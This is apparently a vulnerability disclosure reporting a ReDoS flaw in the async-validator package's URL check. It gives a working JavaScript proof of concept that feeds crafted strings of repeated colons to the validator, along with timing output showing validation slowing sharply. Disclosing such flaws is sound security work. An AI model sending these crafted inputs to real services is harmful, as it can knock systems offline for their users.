✍️ Description

It allows cause a denial of service when validating crafted invalid URLs.

🕵️‍♂️ Proof of Concept

// PoC.js
var asyncValidator = require("async-validator")

const validator =  new asyncValidator.default({
    v: {
        type: 'url',
      },
    })
 
 
 for(var i = 1; i <= 50000; i++) {
   var time = Date.now();
   var attack_str = '//' + ':'.repeat(i*10000) + '@';
   validator.validate({
        v: attack_str,
      });  
   var time_cost = Date.now() - time;
   console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

💥 The Output

attack_str.length: 10003: 203 ms
attack_str.length: 20003: 612 ms
attack_str.length: 30003: 1316 ms
attack_str.length: 40003: 2337 ms
attack_str.length: 50003: 3656 ms
attack_str.length: 60003: 5264 ms
attack_str.length: 70003: 7158 ms
attack_str.length: 80003: 9350 ms
attack_str.length: 90003: 11906 ms
attack_str.length: 100003: 14648 ms